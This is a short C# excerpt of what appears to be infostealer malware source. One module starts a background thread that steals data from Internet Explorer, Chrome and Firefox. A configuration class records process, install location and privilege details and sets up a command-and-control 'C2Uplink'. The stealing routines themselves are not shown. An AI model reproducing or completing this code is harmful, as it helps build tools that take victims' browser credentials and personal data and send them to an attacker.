public void InitModule(VulcanConfiguration config) { uplink = VulcanConfiguration.Instance.PrimaryUplink; worker = new Thread(() => { tryToStealInternetExplorerFiles(); tryToStealChromeData(); tryToStealFirefoxData(); }); worker.IsBackground = true; worker.Start(); }
internal VulcanConfiguration() { this.Pid = Process.GetCurrentProcess().Id; this.InstallLocation = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location); this.RunLevel = Privileges.GetPrivileges(); this.PluginManager = new VulcanPluginManager(); this.PrimaryUplink = new C2Uplink(); Console.WriteLine("Current configuration:"); Console.WriteLine("\tInstall Location: '{0}'", this.InstallLocation); Console.WriteLine("\tInstall Location: '{0}'", this.InstallLocation); Console.WriteLine("\tRun Level: '{0}'", this.RunLevel.ToString()); Instance = this; }